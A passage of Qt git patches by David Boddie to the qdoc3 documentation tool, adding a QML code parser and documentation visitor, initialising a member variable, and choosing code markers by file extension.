m_nodePool(filePath, &engine); + + if (parser->parse()) { + QmlJS::AST::UiProgram *ast = parser->ast(); + DocVisitor visitor(filePath, document, &engine, tree, metacommandsAllowed); + QmlJS::AST::Node::accept(ast, &visitor); + } +} + +void QmlCodeParser::doneParsingSourceFiles(Tree *tree) +{ +} + +/*! + Returns the set of strings reopresenting the topic commands. + */ +QSet QmlCodeParser::topicCommands() +{ + return QSet() << COMMAND_VARIABLE + << COMMAND_QMLCLASS + << COMMAND_QMLPROPERTY + << COMMAND_QMLATTACHEDPROPERTY + << COMMAND_QMLSIGNAL + << COMMAND_QMLATTACHEDSIGNAL + << COMMAND_QMLMETHOD + << COMMAND_QMLATTACHEDMETHOD + << COMMAND_QMLBASICTYPE; +} + +/*! + Returns the set of strings representing the common metacommands + plus some other metacommands. + */ +QSet QmlCodeParser::otherMetaCommands() +{ + return commonMetaCommands() << COMMAND_STARTPAGE + << COMMAND_QMLINHERITS + << COMMAND_QMLDEFAULT; +} + +QT_END_NAMESPACE diff --git a/tools/qdoc3/qmlcodeparser.h b/tools/qdoc3/qmlcodeparser.h new file mode 100644 index 0000000..f6d6684 --- /dev/null +++ b/tools/qdoc3/qmlcodeparser.h @@ -0,0 +1,90 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the tools applications of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/* + qmlcodeparser.h +*/ + +#ifndef QMLCODEPARSER_H +#define QMLCODEPARSER_H + +#include +#include "parser/qmljsengine_p.h" +#include "parser/qmljslexer_p.h" +#include "parser/qmljsparser_p.h" + +#include "codeparser.h" +#include "location.h" + +QT_BEGIN_NAMESPACE + +class Config; +class Node; +class QString; +class Tree; + +class QmlCodeParser : public CodeParser +{ +public: + QmlCodeParser(); + virtual ~QmlCodeParser(); + + virtual void initializeParser(const Config& config); + virtual void terminateParser(); + virtual QString language(); + virtual QStringList sourceFileNameFilter(); + virtual void parseSourceFile(const Location& location, + const QString& filePath, Tree *tree); + virtual void doneParsingSourceFiles(Tree *tree); + +protected: + virtual QSet topicCommands(); + virtual QSet otherMetaCommands(); + +private: + QmlJS::Engine engine; + QmlJS::Lexer *lexer; + QmlJS::Parser *parser; +}; + +QT_END_NAMESPACE + +#endif diff --git a/tools/qdoc3/qmlvisitor.cpp b/tools/qdoc3/qmlvisitor.cpp new file mode 100644 index 0000000..83bf96f --- /dev/null +++ b/tools/qdoc3/qmlvisitor.cpp @@ -0,0 +1,191 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the tools applications of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include +#include +#include +#include "parser/qmljsast_p.h" +#include "parser/qmljsastfwd_p.h" +#include "parser/qmljsengine_p.h" + +#include "node.h" +#include "qmlvisitor.h" + +DocVisitor::DocVisitor(const QString &filePath, const QString &code, + QmlJS::Engine *engine, Tree *tree, QSet &commands) +{ + this->filePath = filePath; + this->name = QFileInfo(filePath).baseName(); + document = code; + this->engine = engine; + this->tree = tree; + this->commands = commands; + current = tree->root(); +} + +DocVisitor::~DocVisitor() +{ +} + +QmlJS::AST::SourceLocation DocVisitor::precedingComment(unsigned offset) const +{ + QmlJS::AST::SourceLocation currentLoc; + + foreach (const QmlJS::AST::SourceLocation &loc, engine->comments()) { + if (loc.begin() > lastEndOffset && loc.end() < offset) + currentLoc = loc; + else + break; + } + if (currentLoc.isValid()) { + QString comment = document.mid(currentLoc.offset, currentLoc.length); + if (comment.startsWith("!") || comment.startsWith("*")) + return currentLoc; + } + + return QmlJS::AST::SourceLocation(); +} + +void DocVisitor::applyDocumentation(QmlJS::AST::SourceLocation location, + InnerNode *node) +{ + QmlJS::AST::SourceLocation loc = precedingComment(location.begin()); + + if (loc.isValid()) { + QString source = document.mid(loc.offset, loc.length); + if (source.startsWith(QLatin1String("!")) || + source.startsWith(QLatin1String("*"))) { + + Location start(filePath); + start.setLineNo(loc.startLine); + start.setColumnNo(loc.startColumn); + Location finish(filePath); + finish.setLineNo(loc.startLine); + finish.setColumnNo(loc.startColumn); + + Doc doc(start, finish, source.mid(1), commands); + node->setDoc(doc); + } + } +} + +/*! + Visits element definitions, recording them in a tree structure. +*/ +bool DocVisitor::visit(QmlJS::AST::UiObjectDefinition *definition) +{ + QString type = definition->qualifiedTypeNameId->name->asString(); + + if (current->type() == Node::Namespace) { + QmlClassNode *component = new QmlClassNode(current, name, 0); + applyDocumentation(definition->firstSourceLocation(), component); + current = component; + } + + return true; +} + +void DocVisitor::endVisit(QmlJS::AST::UiObjectDefinition *definition) +{ + lastEndOffset = definition->lastSourceLocation().end(); +} + +bool DocVisitor::visit(QmlJS::AST::UiImportList *imports) +{ + // Note that the imports list can be traversed by iteration to obtain + // all the imports in the document at once, having found just one: + // *it = imports; it; it = it->next + + QString module = document.mid(imports->import->fileNameToken.offset, + imports->import->fileNameToken.length); + QString version = document.mid(imports->import->versionToken.offset, + imports->import->versionToken.length); + importList.append(QPair(module, version)); + + return true; +} + +/*! + Visits public member declarations, such as signals and properties. + These only include custom signals and properties. +*/ +bool DocVisitor::visit(QmlJS::AST::UiPublicMember *member) +{ + switch (member->type) { + case QmlJS::AST::UiPublicMember::Signal: + { + QString name = member->name->asString(); + + QList > parameters; + for (QmlJS::AST::UiParameterList *it = member->parameters; it; it = it->next) { + if (it->type && it->name) + parameters.append(QPair(it->type->asString(), + it->name->asString())); + } + + //current->addSignal(new Signal(name, parameters)); + break; + } + case QmlJS::AST::UiPublicMember::Property: + { + QString type = member->memberType->asString(); + QString name = member->name->asString(); + + //current->addProperty(new Property(type, name)); + break; + } + default: + return false; + } + + //current->doc = precedingComment(member->firstSourceLocation().begin()); + return true; +} + +void DocVisitor::endVisit(QmlJS::AST::UiPublicMember *definition) +{ + lastEndOffset = definition->lastSourceLocation().end(); +} + +bool DocVisitor::visit(QmlJS::AST::IdentifierPropertyName *idproperty) +{ + return true; +} diff --git a/tools/qdoc3/qmlvisitor.h b/tools/qdoc3/qmlvisitor.h new file mode 100644 index 0000000..01da98e --- /dev/null +++ b/tools/qdoc3/qmlvisitor.h @@ -0,0 +1,83 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the tools applications of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#ifndef DOCVISITOR_H +#define DOCVISITOR_H + +#include +#include "parser/qmljsastvisitor_p.h" +#include "node.h" +#include "tree.h" + +class DocVisitor : public QmlJS::AST::Visitor +{ +public: + DocVisitor(const QString &filePath, const QString &code, + QmlJS::Engine *engine, Tree *tree, QSet &commands); + virtual ~DocVisitor(); + + bool visit(QmlJS::AST::UiImportList *imports); + + bool visit(QmlJS::AST::UiObjectDefinition *definition); + void endVisit(QmlJS::AST::UiObjectDefinition *definition); + + bool visit(QmlJS::AST::UiPublicMember *member); + void endVisit(QmlJS::AST::UiPublicMember *definition); + + bool visit(QmlJS::AST::IdentifierPropertyName *idproperty); + +private: + QmlJS::AST::SourceLocation precedingComment(unsigned offset) const; + void applyDocumentation(QmlJS::AST::SourceLocation location, + InnerNode *node); + + QmlJS::Engine *engine; + quint32 lastEndOffset; + QString filePath; + QString name; + QString document; + QList > importList; + QSet commands; + Tree *tree; + InnerNode *current; +}; + +#endif -- cgit v0.12 From b235215ebadaed8b985323b581e8818dd4f09d7f Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 25 Nov 2010 17:17:21 +0100 Subject: Ensured that the inObsoleteLink variable is initialized. --- tools/qdoc3/htmlgenerator.cpp | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index b095f23..3f76204 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -218,7 +218,8 @@ HtmlGenerator::HtmlGenerator() funcLeftParen("\\S(\\()"), myTree(0), slow(false), - obsoleteLinks(false) + obsoleteLinks(false), + inObsoleteLink(false) { } -- cgit v0.12 From fc124dd191f285d6003ad458621f752c2a164cf4 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 25 Nov 2010 17:34:56 +0100 Subject: Ensured that the inObsoleteLink variable is initialized. --- tools/qdoc3/ditaxmlgenerator.cpp | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index a83a321..ce597f2 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -385,7 +385,8 @@ DitaXmlGenerator::DitaXmlGenerator() myTree(0), slow(false), obsoleteLinks(false), - noLinks(0) + noLinks(0), + inObsoleteLink(false) { } -- cgit v0.12 From 25762d8825d5085287c3266f29a67046b99ff38a Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 25 Nov 2010 17:36:10 +0100 Subject: Trivial whitespace fixes. --- tools/qdoc3/node.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/tools/qdoc3/node.h b/tools/qdoc3/node.h index 40b78ef..ae713d5 100644 --- a/tools/qdoc3/node.h +++ b/tools/qdoc3/node.h @@ -87,8 +87,8 @@ class Node enum SubType { NoSubType, - Example, - HeaderFile, + Example, + HeaderFile, File, Image, Group, @@ -114,7 +114,7 @@ class Node Commendable, Main, Internal - }; // don't reorder thisw enum + }; // don't reorder this enum enum ThreadSafeness { UnspecifiedSafeness, -- cgit v0.12 From 74fd34b43e2954881767e33fd62fe5b922643f88 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 25 Nov 2010 17:36:57 +0100 Subject: Added a check for read-only pure QML properties before C++ checks. --- tools/qdoc3/node.cpp | 3 +++ 1 file changed, 3 insertions(+) diff --git a/tools/qdoc3/node.cpp b/tools/qdoc3/node.cpp index e043f5d..3e8230c 100644 --- a/tools/qdoc3/node.cpp +++ b/tools/qdoc3/node.cpp @@ -1680,6 +1680,9 @@ static QString valueType(const QString& n) */ bool QmlPropertyNode::isWritable(const Tree* tree) const { + if (wri != Trool_Default) + return fromTrool(wri, false); + Node* n = parent(); while (n && n->subType() != Node::QmlClass) n = n->parent(); -- cgit v0.12 From 5edca8bf762e7f3efcff2d95790b7e5ad3e9a89c Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 25 Nov 2010 17:37:44 +0100 Subject: Ensured that QML nodes are imported from indexes. --- tools/qdoc3/tree.cpp | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/tools/qdoc3/tree.cpp b/tools/qdoc3/tree.cpp index 9946f0b..20c1373 100644 --- a/tools/qdoc3/tree.cpp +++ b/tools/qdoc3/tree.cpp @@ -806,6 +806,12 @@ void Tree::readIndexSection(const QDomElement &element, subtype = Node::Page; else if (element.attribute("subtype") == "externalpage") subtype = Node::ExternalPage; + else if (element.attribute("subtype") == "qmlclass") + subtype = Node::QmlClass; + else if (element.attribute("subtype") == "qmlpropertygroup") + subtype = Node::QmlPropertyGroup; + else if (element.attribute("subtype") == "qmlbasictype") + subtype = Node::QmlBasicType; else return; -- cgit v0.12 From b81081ff67d3e27e36c8165c9b0814feca1fcf15 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 25 Nov 2010 17:38:29 +0100 Subject: Added support for pure QML signals and properties. Generalized the function to annotate nodes with documentation. --- tools/qdoc3/qmlvisitor.cpp | 50 +++++++++++++++++++++++++++++++++++----------- tools/qdoc3/qmlvisitor.h | 3 +-- 2 files changed, 39 insertions(+), 14 deletions(-) diff --git a/tools/qdoc3/qmlvisitor.cpp b/tools/qdoc3/qmlvisitor.cpp index 83bf96f..1d65c3d 100644 --- a/tools/qdoc3/qmlvisitor.cpp +++ b/tools/qdoc3/qmlvisitor.cpp @@ -85,14 +85,15 @@ QmlJS::AST::SourceLocation DocVisitor::precedingComment(unsigned offset) const } void DocVisitor::applyDocumentation(QmlJS::AST::SourceLocation location, - InnerNode *node) + Node *node) { QmlJS::AST::SourceLocation loc = precedingComment(location.begin()); if (loc.isValid()) { QString source = document.mid(loc.offset, loc.length); if (source.startsWith(QLatin1String("!")) || - source.startsWith(QLatin1String("*"))) { + (source.startsWith(QLatin1String("*")) && + source[1] != QLatin1Char('*'))) { Location start(filePath); start.setLineNo(loc.startLine); @@ -116,7 +117,13 @@ bool DocVisitor::visit(QmlJS::AST::UiObjectDefinition *definition) if (current->type() == Node::Namespace) { QmlClassNode *component = new QmlClassNode(current, name, 0); + component->setTitle(QLatin1String("QML ") + name + QLatin1String(" Component")); + + QmlClassNode::addInheritedBy(type, component); + component->setLink(Node::InheritsLink, type, type); + applyDocumentation(definition->firstSourceLocation(), component); + current = component; } @@ -152,16 +159,23 @@ bool DocVisitor::visit(QmlJS::AST::UiPublicMember *member) switch (member->type) { case QmlJS::AST::UiPublicMember::Signal: { - QString name = member->name->asString(); - - QList > parameters; - for (QmlJS::AST::UiParameterList *it = member->parameters; it; it = it->next) { - if (it->type && it->name) - parameters.append(QPair(it->type->asString(), - it->name->asString())); + if (current->type() == Node::Fake) { + QmlClassNode *qmlClass = static_cast(current); + if (qmlClass) { + + QString name = member->name->asString(); + FunctionNode *qmlSignal = new FunctionNode(Node::QmlSignal, current, name, false); + + QList parameters; + for (QmlJS::AST::UiParameterList *it = member->parameters; it; it = it->next) { + if (it->type && it->name) + parameters.append(Parameter(it->type->asString(), "", it->name->asString())); + } + + qmlSignal->setParameters(parameters); + applyDocumentation(member->firstSourceLocation(), qmlSignal); + } } - - //current->addSignal(new Signal(name, parameters)); break; } case QmlJS::AST::UiPublicMember::Property: @@ -169,7 +183,19 @@ bool DocVisitor::visit(QmlJS::AST::UiPublicMember *member) QString type = member->memberType->asString(); QString name = member->name->asString(); - //current->addProperty(new Property(type, name)); + if (current->type() == Node::Fake) { + QmlClassNode *qmlClass = static_cast(current); + if (qmlClass) { + + QString name = member->name->asString(); + QmlPropGroupNode *qmlPropGroup = new QmlPropGroupNode(qmlClass, name, false); + if (member->isDefaultMember) + qmlPropGroup->setDefault(); + QmlPropertyNode *qmlPropNode = new QmlPropertyNode(qmlPropGroup, name, type, false); + qmlPropNode->setWritable(!member->isReadonlyMember); + applyDocumentation(member->firstSourceLocation(), qmlPropNode); + } + } break; } default: diff --git a/tools/qdoc3/qmlvisitor.h b/tools/qdoc3/qmlvisitor.h index 01da98e..a830793 100644 --- a/tools/qdoc3/qmlvisitor.h +++ b/tools/qdoc3/qmlvisitor.h @@ -66,8 +66,7 @@ public: private: QmlJS::AST::SourceLocation precedingComment(unsigned offset) const; - void applyDocumentation(QmlJS::AST::SourceLocation location, - InnerNode *node); + void applyDocumentation(QmlJS::AST::SourceLocation location, Node *node); QmlJS::Engine *engine; quint32 lastEndOffset; -- cgit v0.12 From 344c3ad32bd36ad67731aa3171103a6c5e2f93e0 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Sun, 28 Nov 2010 20:44:21 +0100 Subject: Added the foundations of QML markup support. Use the QtDeclarative parser instead of Qt Creator's QML parser. Split the QML visitor into documentation and markup visitors. The code marker used for each file is now determined from its extension. --- tools/qdoc3/cppcodemarker.cpp | 1 - tools/qdoc3/cppcodemarker.h | 56 +- tools/qdoc3/ditaxmlgenerator.cpp | 4 +- tools/qdoc3/ditaxmlgenerator.h | 2 +- tools/qdoc3/generator.h | 2 +- tools/qdoc3/htmlgenerator.cpp | 26 +- tools/qdoc3/htmlgenerator.h | 5 +- tools/qdoc3/main.cpp | 12 +- tools/qdoc3/node.cpp | 1 - tools/qdoc3/pagegenerator.cpp | 14 +- tools/qdoc3/pagegenerator.h | 4 +- tools/qdoc3/qdoc3.pro | 9 +- tools/qdoc3/qmlcodeparser.cpp | 18 +- tools/qdoc3/qmlcodeparser.h | 12 +- tools/qdoc3/qmlmarkupvisitor.cpp | 1415 ++++++++++++++++++++++++++++++++++++++ tools/qdoc3/qmlmarkupvisitor.h | 338 +++++++++ tools/qdoc3/qmlvisitor.cpp | 48 +- tools/qdoc3/qmlvisitor.h | 36 +- 18 files changed, 1877 insertions(+), 126 deletions(-) create mode 100644 tools/qdoc3/qmlmarkupvisitor.cpp create mode 100644 tools/qdoc3/qmlmarkupvisitor.h diff --git a/tools/qdoc3/cppcodemarker.cpp b/tools/qdoc3/cppcodemarker.cpp index 576d103..55a455f 100644 --- a/tools/qdoc3/cppcodemarker.cpp +++ b/tools/qdoc3/cppcodemarker.cpp @@ -43,7 +43,6 @@ cppcodemarker.cpp */ -#include #include "atom.h" #include "cppcodemarker.h" #include "node.h" diff --git a/tools/qdoc3/cppcodemarker.h b/tools/qdoc3/cppcodemarker.h index 804a302..40695c5 100644 --- a/tools/qdoc3/cppcodemarker.h +++ b/tools/qdoc3/cppcodemarker.h @@ -56,36 +56,36 @@ class CppCodeMarker : public CodeMarker CppCodeMarker(); ~CppCodeMarker(); - bool recognizeCode(const QString& code); - bool recognizeExtension(const QString& ext); - bool recognizeLanguage(const QString& lang); - QString plainName(const Node *node); - QString plainFullName(const Node *node, const Node *relative); - QString markedUpCode(const QString& code, - const Node *relative, - const QString& dirPath); - QString markedUpSynopsis(const Node *node, - const Node *relative, - SynopsisStyle style); + virtual bool recognizeCode(const QString& code); + virtual bool recognizeExtension(const QString& ext); + virtual bool recognizeLanguage(const QString& lang); + virtual QString plainName(const Node *node); + virtual QString plainFullName(const Node *node, const Node *relative); + virtual QString markedUpCode(const QString& code, + const Node *relative, + const QString& dirPath); + virtual QString markedUpSynopsis(const Node *node, + const Node *relative, + SynopsisStyle style); #ifdef QDOC_QML - QString markedUpQmlItem(const Node *node, bool summary); + virtual QString markedUpQmlItem(const Node *node, bool summary); #endif - QString markedUpName(const Node *node); - QString markedUpFullName(const Node *node, const Node *relative); - QString markedUpEnumValue(const QString &enumValue, const Node *relative); - QString markedUpIncludes(const QStringList& includes); - QString functionBeginRegExp(const QString& funcName); - QString functionEndRegExp(const QString& funcName); - QList
    sections(const InnerNode *innerNode, - SynopsisStyle style, - Status status); - QList
    qmlSections(const QmlClassNode* qmlClassNode, - SynopsisStyle style, - const Tree* tree); - const Node* resolveTarget(const QString& target, - const Tree* tree, - const Node* relative, - const Node* self = 0); + virtual QString markedUpName(const Node *node); + virtual QString markedUpFullName(const Node *node, const Node *relative); + virtual QString markedUpEnumValue(const QString &enumValue, const Node *relative); + virtual QString markedUpIncludes(const QStringList& includes); + virtual QString functionBeginRegExp(const QString& funcName); + virtual QString functionEndRegExp(const QString& funcName); + virtual QList
    sections(const InnerNode *innerNode, + SynopsisStyle style, + Status status); + virtual QList
    qmlSections(const QmlClassNode* qmlClassNode, + SynopsisStyle style, + const Tree* tree); + virtual const Node* resolveTarget(const QString& target, + const Tree* tree, + const Node* relative, + const Node* self = 0); private: QString addMarkUp(const QString& protectedCode, diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index ce597f2..1014f79 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -533,7 +533,7 @@ QString DitaXmlGenerator::lookupGuid(QString text) \note The file generation is done in the base class, PageGenerator::generateTree(). */ -void DitaXmlGenerator::generateTree(const Tree *tree, CodeMarker *marker) +void DitaXmlGenerator::generateTree(const Tree *tree) { myTree = tree; nonCompatClasses.clear(); @@ -552,7 +552,7 @@ void DitaXmlGenerator::generateTree(const Tree *tree, CodeMarker *marker) findAllNamespaces(tree->root()); findAllSince(tree->root()); - PageGenerator::generateTree(tree, marker); + PageGenerator::generateTree(tree); } void DitaXmlGenerator::startText(const Node* /* relative */, diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 36bd990..a29df77 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -91,7 +91,7 @@ class DitaXmlGenerator : public PageGenerator virtual void initializeGenerator(const Config& config); virtual void terminateGenerator(); virtual QString format(); - virtual void generateTree(const Tree *tree, CodeMarker *marker); + virtual void generateTree(const Tree *tree); QString protectEnc(const QString &string); static QString protect(const QString &string, const QString &encoding = "ISO-8859-1"); diff --git a/tools/qdoc3/generator.h b/tools/qdoc3/generator.h index 326a247..18c3855 100644 --- a/tools/qdoc3/generator.h +++ b/tools/qdoc3/generator.h @@ -78,7 +78,7 @@ class Generator virtual void terminateGenerator(); virtual QString format() = 0; virtual bool canHandleFormat(const QString &format) { return format == this->format(); } - virtual void generateTree(const Tree *tree, CodeMarker *marker) = 0; + virtual void generateTree(const Tree *tree) = 0; static void initialize(const Config& config); static void terminate(); diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index 3f76204..9f5f182 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -217,9 +217,9 @@ HtmlGenerator::HtmlGenerator() threeColumnEnumValueTable(true), funcLeftParen("\\S(\\()"), myTree(0), + inObsoleteLink(false), slow(false), - obsoleteLinks(false), - inObsoleteLink(false) + obsoleteLinks(false) { } @@ -356,7 +356,7 @@ QString HtmlGenerator::format() \note The HTML file generation is done in the base class, PageGenerator::generateTree(). */ -void HtmlGenerator::generateTree(const Tree *tree, CodeMarker *marker) +void HtmlGenerator::generateTree(const Tree *tree) { myTree = tree; nonCompatClasses.clear(); @@ -375,11 +375,11 @@ void HtmlGenerator::generateTree(const Tree *tree, CodeMarker *marker) findAllNamespaces(tree->root()); findAllSince(tree->root()); - PageGenerator::generateTree(tree, marker); + PageGenerator::generateTree(tree); QString fileBase = project.toLower().simplified().replace(" ", "-"); generateIndex(fileBase, projectUrl, projectDescription); - generatePageIndex(outputDir() + "/" + fileBase + ".pageindex", marker); + generatePageIndex(outputDir() + "/" + fileBase + ".pageindex"); helpProjectWriter->generate(myTree); } @@ -2913,18 +2913,6 @@ void HtmlGenerator::generateLink(const Atom* atom, } inLink = false; out() << protectEnc(atom->string().mid(k)); - } else if (marker->recognizeLanguage("Java")) { - // hack for Java: remove () and use when appropriate - bool func = atom->string().endsWith("()"); - bool tt = (func || atom->string().contains(camelCase)); - if (tt) - out() << ""; - if (func) { - out() << protectEnc(atom->string().left(atom->string().length() - 2)); - } else { - out() << protectEnc(atom->string()); - } - out() << ""; } else { out() << protectEnc(atom->string()); } @@ -4168,12 +4156,14 @@ void HtmlGenerator::generatePageElements(QXmlStreamWriter& writer, const Node* n /*! Outputs the file containing the index used for searching the html docs. */ -void HtmlGenerator::generatePageIndex(const QString& fileName, CodeMarker* marker) const +void HtmlGenerator::generatePageIndex(const QString& fileName) const { QFile file(fileName); if (!file.open(QFile::WriteOnly | QFile::Text)) return ; + CodeMarker *marker = CodeMarker::markerForFileName(fileName); + QXmlStreamWriter writer(&file); writer.setAutoFormatting(true); writer.writeStartDocument(); diff --git a/tools/qdoc3/htmlgenerator.h b/tools/qdoc3/htmlgenerator.h index 547cf2f..4276475 100644 --- a/tools/qdoc3/htmlgenerator.h +++ b/tools/qdoc3/htmlgenerator.h @@ -92,7 +92,7 @@ class HtmlGenerator : public PageGenerator virtual void initializeGenerator(const Config& config); virtual void terminateGenerator(); virtual QString format(); - virtual void generateTree(const Tree *tree, CodeMarker *marker); + virtual void generateTree(const Tree *tree); QString protectEnc(const QString &string); static QString protect(const QString &string, const QString &encoding = "ISO-8859-1"); @@ -247,8 +247,7 @@ class HtmlGenerator : public PageGenerator void generatePageElements(QXmlStreamWriter& writer, const Node* node, CodeMarker* marker) const; - void generatePageIndex(const QString& fileName, - CodeMarker* marker) const; + void generatePageIndex(const QString& fileName) const; void generateExtractionMark(const Node *node, ExtractionMarkType markType); QMap refMap; diff --git a/tools/qdoc3/main.cpp b/tools/qdoc3/main.cpp index 2d3f034..ac1c5de 100644 --- a/tools/qdoc3/main.cpp +++ b/tools/qdoc3/main.cpp @@ -55,6 +55,7 @@ #include "htmlgenerator.h" #include "plaincodemarker.h" #include "puredocparser.h" +#include "qmlcodemarker.h" #include "qmlcodeparser.h" #include "tokenizer.h" #include "tree.h" @@ -243,14 +244,6 @@ static void processQdocconfFile(const QString &fileName) Location outputFormatsLocation = config.lastLocation(); /* - There must be a code marker for the source code language, e.g. C++. - If there isn't one, give up. - */ - CodeMarker *marker = CodeMarker::markerForLanguage(lang); - if (!marker && !outputFormats.isEmpty()) - langLocation.fatal(tr("Cannot output documentation for programming language '%1'").arg(lang)); - - /* Read some XML indexes containing definitions from other documentation sets. */ QStringList indexFiles = config.getStringList(CONFIG_INDEXES); @@ -334,7 +327,7 @@ static void processQdocconfFile(const QString &fileName) if (generator == 0) outputFormatsLocation.fatal(tr("Unknown output format '%1'") .arg(*of)); - generator->generateTree(tree, marker); + generator->generateTree(tree); ++of; } @@ -390,6 +383,7 @@ int main(int argc, char **argv) */ PlainCodeMarker plainMarker; CppCodeMarker cppMarker; + QmlCodeMarker qmlMarker; HtmlGenerator htmlGenerator; DitaXmlGenerator ditaxmlGenerator; diff --git a/tools/qdoc3/node.cpp b/tools/qdoc3/node.cpp index 3e8230c..838bbfb 100644 --- a/tools/qdoc3/node.cpp +++ b/tools/qdoc3/node.cpp @@ -45,7 +45,6 @@ #include "node.h" #include "tree.h" -#include "codemarker.h" #include QT_BEGIN_NAMESPACE diff --git a/tools/qdoc3/pagegenerator.cpp b/tools/qdoc3/pagegenerator.cpp index 37dc191..60b40c9 100644 --- a/tools/qdoc3/pagegenerator.cpp +++ b/tools/qdoc3/pagegenerator.cpp @@ -46,6 +46,7 @@ #include #include #include +#include "codemarker.h" #include "pagegenerator.h" #include "tree.h" @@ -175,9 +176,9 @@ bool PageGenerator::parseArg(const QString& src, /*! This function is recursive. */ -void PageGenerator::generateTree(const Tree *tree, CodeMarker *marker) +void PageGenerator::generateTree(const Tree *tree) { - generateInnerNode(tree->root(), marker); + generateInnerNode(tree->root()); } QString PageGenerator::fileBase(const Node *node) const @@ -301,7 +302,7 @@ QTextStream &PageGenerator::out() Recursive writing of html files from the root \a node. */ void -PageGenerator::generateInnerNode(const InnerNode* node, CodeMarker* marker) +PageGenerator::generateInnerNode(const InnerNode* node) { if (!node->url().isNull()) return; @@ -320,6 +321,11 @@ PageGenerator::generateInnerNode(const InnerNode* node, CodeMarker* marker) } } + /* + Obtain a code marker for the source file. + */ + CodeMarker *marker = CodeMarker::markerForFileName(node->location().filePath()); + if (node->parent() != 0) { beginSubPage(node->location(), fileName(node)); if (node->type() == Node::Namespace || node->type() == Node::Class) { @@ -334,7 +340,7 @@ PageGenerator::generateInnerNode(const InnerNode* node, CodeMarker* marker) NodeList::ConstIterator c = node->childNodes().begin(); while (c != node->childNodes().end()) { if ((*c)->isInnerNode() && (*c)->access() != Node::Private) - generateInnerNode((const InnerNode *) *c, marker); + generateInnerNode((const InnerNode *) *c); ++c; } } diff --git a/tools/qdoc3/pagegenerator.h b/tools/qdoc3/pagegenerator.h index 